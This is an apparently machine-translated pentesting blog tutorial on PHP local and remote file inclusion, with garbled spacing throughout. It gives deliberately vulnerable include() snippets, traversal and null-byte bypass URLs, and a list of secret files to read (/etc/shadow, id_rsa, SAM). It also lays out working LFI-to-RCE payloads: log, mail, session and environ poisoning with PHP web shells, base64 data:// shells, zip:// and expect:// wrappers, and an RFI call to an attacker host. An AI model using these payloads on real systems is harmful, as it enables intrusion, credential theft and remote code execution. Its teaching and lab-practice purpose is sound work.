LFI (Local File Inclusion) & RFI (Remote File Inclusion)

Pentesting Web

 

LFI

This vulnerability allows us to view system resources by performing a Directory Path Traversal.

As an example, I present below a PHP script with this vulnerability.


<? php 
    $ file = $ _REQUEST [ 'file' ];
    echo  include ( $ file );
?>

Assuming that the file is called file.php, if from the URL we carry out the following search:


http://localhost/file.php?file=/etc/passwd

We will see how the passwd file of the local Linux machine is listed. There will be times when we have to go back a couple if directories to view the resource:
http://localhost/file.php?file=/../../../../../etc/passwd
As well as incorporating a % 00 for the bypassing of the implemented restrictions:
http://localhost/file.php?file=/etc/passwd

Another way to bypass possible restrictions is by adding a question mark at the end of the request:

http://localhost/file.php?file=/etc/passwd?

For here. I leave a good resource for use wrappers and other techniques bypassing.

http://localhost/file.php?file=php://filtrer/convert.base64-encode/resource=test.php

The idea is not to see PD9waHAKCSNqcnVIYmEKPz4K1 from the web, is to apply the following command from the terminal:
$~ curl --silent http://localhost/file.php?file=php://filtrer/convert.base64-encode/resource=test.php | base64 -d 2>/dev/null

<?php
            #Test
?>

Where,  as we see, the PHP resource can be viewed.

Interesting resources always to look at the following:

/etc/issue
/etc/motd
/etc/passwd
/etc/group
/etc/resolv.conf
/etc/shadow
.htaccess
config.php
id_rsa
id_rsa.pub
know_hosts
.bash_history
.mysql_history
.my.cnf
etc.....
As well as the following on Windows machines:
c:\WINDOWS\system32\eula.txt
c:\boot.ini
c:\WINDOWS\win.ini
c:\WINNT\win.ini
c:\WINDOWS\repair\SAM
c:\WINDOWS\php.ini
c:\WINNT\php.ini
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\xampp\apache\conf\httpd.conf
c:\php\php.ini
c:\php5\php.ini
c:\php4\php.ini
c:\apache\php\php.ini
c:\xampp\apache\bin\php.ini

LFI code examples
Here are some LFI- type vulnerabilities with the server-side code, so that these techniques can be practiced locally.
Basic Includes
Server code: 

<? php 
$ file = $ _GET [ 'file' ];

if ( isset ( $ file ))
{
  include ( "$ file" );
}
Legitimate request:
http://localhost/index.php?file=contact.php

Malicious request:

[root@parrot]-[/var/www/html]
|__ #curl --silent http://localhost/index.php?file=/etc/subgid
zerocoool:100000:65536
Directory Traversal Attack
Server Code:

<? php 
$ file = $ _GET [ 'file' ];
if ( isset ( $ file ))
{
  include ( "lib / functions / $ file" );
}

Null Byte Injection
Servver code:
<? php 
$ file = $ _GET [ 'file' ];
if ( isset ( $ file ))
{
  include ( "lib / functions / $ file.php" );
}
Path truncation

On the request in which we intend to do LFI , we add a thousand times ./ for the resource ../../../../ etc / passwd /././././././ <... > /. php . Once the file name is more than 4,096 bytes, the longest part is removed. In this way, our request becomes ../../../../etc/passwd .
RFI
This vulnerability has a certain similarity to the LFI, only that the inclusion of files occurs remotely, allowing us from the vulnerable URL of a web service to point to local services of our team that we are sharing.
A good example to practice is the TartarSauce machine from HackTheBox, where the web service had a Gwolle plugin vulnerable to RFI. From the web service, we made the following query from the URL:
http://192.168.1.X/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abs path=http://nuestraIP/wp-load.php


In this way, it is easy to think about how easy access to the system can be for the case described.

LFI to RCE

There are several ways to execute commands remotely through a Local File Inclusion , as well as to access the system through the visualization of certain resources. For this case, I will explain 2 techniques as an example:
  • Log Poisoning (access.log & auth.log)
  • Mail PHP Execution
The first one [ Log Poisoning ], consists of verifying if the routes /var/log/auth.log and /var/log/apache2/access.log are visible from the LFI .
In case of being it for the path /var/log/auth.log , we can carry out authentication techniques that allow us to obtain remote command execution. This route stores the authentications established on the system, among them, in addition to the normal session, those that go through SSH.
In other words, this means that for each failed attempt to connect via SSH to the system, a visible report will be generated in the /var/log/auth.log resource The idea at this point is to take advantage of the visualization of the resource to force the authentication of an unconventional user, where we embed a PHP code that allows us later from the LFI to execute commands on the system.
Example:
ssh "<?php system('whoami'); ?>"@192.168.1.X
After entering an incorrect password for the non-existent user, a report will be generated in the auth.log resource like the following:
Nov 5 11:53:46 parrot sshd [13626]: Failed password for invalid user < ? php echo system ( ' whoami ' ) ;  ? > from :: 1 port 39988 ssh2
Nov 5 11:53:48 parrot sshd [13626]: Connection closed by invalid user < ? php echo system ( ' whoami ' ) ;  ? > :: 1 port 39988 [preauth]
At this point, if we point to this resource from the URL, taking advantage of the LFI, we will see how a ' www-data ' user will appear for the whoami field defined in the php script embedded through the authentication user.
Something similar happens in the case of the access.log resource , only other operations will be carried out regarding the technical implementation.
I always use Burpsuite as an intermediary, but it can also be done from curl by modifying the User-Agent . What we need to do is make a query to the web page changing the User-Agent for a PHP code. In this way, after viewing the Apache access.log resource , we will see how the PHP code is interpreted in the User-Agent of the request in the server-side response, being able to subsequently execute commands remotely in the same way as with the auth.log resource .
Another technique to achieve command execution through an LFI is through proc files We can find the methodology step by step in the following resource .
The second one [ Mail PHP Execution ], consists of taking advantage of the LFI vulnerability so that after viewing the users in the resource ' / etc / passwd ', to be able to view their corresponding mails in ' / var / mail / user '.
That is, assuming that we have notions that there is a user ' www-data ' on the system, in case of having the smtp service running, we can "malform" a message to insert PHP code and later point it from the browser.
In case of not knowing which users are in the system, we can use the smtp-user-enum tool to list users on the service:
smtp-user-enum -M VRFY -U top_shortlist.txt -t 192.168.1.X 
Obtaining results similar to the following:
192.168.1.X: root exists
192.168.1.X: mysql exists
192.168.1.X: www-data exists
Now that we know that the www-data user exists, we can do the following:
telnet 192.168.1.X 25

HELO localhost

MAIL FROM: < root >

RCPT TO: < www-data >

DATA

< ? php

echo shell_exec ( $ _REQUEST [ ' cmd ' ]) ; 
? >
What will we have to do at this point? Taking into account that the email has been sent, we will only have to do the following:
http: //192.168.1.X/ ? page = .. / .. / .. / .. / .. / var / mail / www-data ? cmd = command-to-run
And the browser will return the output of the command applied at the system level.

LFI to RCE via PHP Sessions

For this case, we check if the website account uses PHP SESSION ( PHPSESSID ):
Set-Cookie: PHPSESSID = i56kgbsq9rm8ndg3qbarhsbm27 ; path = /
Set-Cookie: user = admin ; expires = Mon, 13-Aug-2018 20:21:29 GMT ; path = / ; Httponly
In PHP, these sessions are stored in the path ' / var / lib / php5 / sess [PHPSESSID] ':
/ var / lib / php5 / sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip | s: 0: " " ; loggedin | s: 0: " " ; lang | s: 9: " en_us.php " ; win_lin | s: 0: " " ; user | s: 6: " admin " ; pass | s: 6: " admin " ;
The idea is to set the Cookie to <?php system('cat /etc/passwd');?>:
login = 1 & user = < ? php system ( " cat / etc / passwd " ) ; ? > & pass = password & lang = en_us.php
Once done, we can include the PHP file in the following way through the LFI:
login = 1 & user = admin & pass = password & lang = / .. / .. / .. / .. / .. / .. / .. / .. / .. / var / lib / php5 / sess_i56kgbsq9rm8ndg3qbarhsbm27

LFI to RCE via Environ

If by any chance we can visualize the / proc / self / environ resource , as if it were a log resource, we will send our Payload to the User-Agent:
GET vulnerable.php ?filename = .. / .. / .. / proc / self / environ HTTP / 1.1
User-Agent: < ? = phpinfo () ;  ? >

LFI RFI Using Wrappers

Wrapper php: // filter
http://example.com/index.php ?page = php: //filter/read=string.rot13/resource=index.php
http://example.com/index.php ?page = php: //filter/convert.base64-encode/resource=index.php
http://example.com/index.php ? page = pHp: //FilTer/convert.base64-encode/resource=index.php
You can play with another compression wrapper if you have a very large file:
http://example.com/index.php ? page = php: //filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
Likewise, the wrappers can also be chained:
php: //filter/convert.base64-decode | convert.base64-decode | convert.base64-decode / resource =% s
Wrapper zip: //
echo  " <pre> <? php system ( $ _GET ['cmd']);?> </pre> "  > payload.php ;   
zip payload.zip payload.php ; 
mv payload.zip shell.jpg ;
rm payload.php

http://example.com/index.php ? page = zip: //shell.jpg%23payload.php
Wrapper data: //
This Wrapper allows us to directly execute PHP code:
http://example.net/ ? page = data: // text / plain ;base64, PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4 =
NOTE: The payload is " <? Php system ( $ _GET ['cmd']); echo 'We have Shell!';?> "
Another way:
http://example.com/index.php ? file = data: text / plain 

; , < ? php echo shell_exec ( $ _GET [ ' cmd ' ]) ; ? >
Another interesting payload to consider is the <?php phpinfo(); die();?>The die functionality prevents the execution of the rest of the script or the execution of the decoded extension incorrectly appended to the sequence.
To directly execute a command in both cases, the request for data + payload can be:
http://example.com/index.php ? file = data :, < ? system ( $ _GET [ ' x ' ]) ; ? > & x = ls
Or also:
http://example.com/index.php ? file = data: ; base64, PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4 = & x = ls.
Wrapper expect: //
http://example.com/index.php ?page = expect: // id
http://example.com/index.php ? page = expect: // l
Wrapper input: //
We specify our payload through a POST parameter:
http://example.com/index.php ? page = php: // input
POST DATA: < ? system ( ' id ' ) ;  ? >
It can also be done from the terminal as follows:
$ ~ echo  " <? system ('id');?> "  | POST http://example.com/index.php ? page = php: // input
Wrapper phar: //
Create a phar file with a serialized object in its metadata:
// create new Phar
 $ phar = new Phar ( ' test.phar ' ) ; 
$ phar-> startBuffering ();
$ phar - > addFromString ( ' test.txt ' , ' text ' ) ; 
$ phar - > setStub ( ' <? php __HALT_COMPILER ();?> ' ) ;

// add object of any class as meta data
class AnyClass {}
$ object = new AnyClass ; 
$ object - > data = ' rips ' ; 
$ phar - > setMetadata ( $ object ) ; 
$ phar-> stopBuffering ();
If at this point, any operation is performed on our existing Phar file using the phar: // wrapper , then the serialized metadata is deserialized and therefore interpreted.
If this application had a class called AnyClass and had the magic __destruct () or __wakeup () methods defined, then these would be invoked automatically:
class AnyClass {
     function  __destruct () {
         echo  $ this - > data ;
    }
}
// output: rips
include ( ' phar: //test.phar ' ) ;

1 Comments

Comments here, cracks!

Post a Comment

Comments here, cracks!

Post a Comment

Previous Post Next Post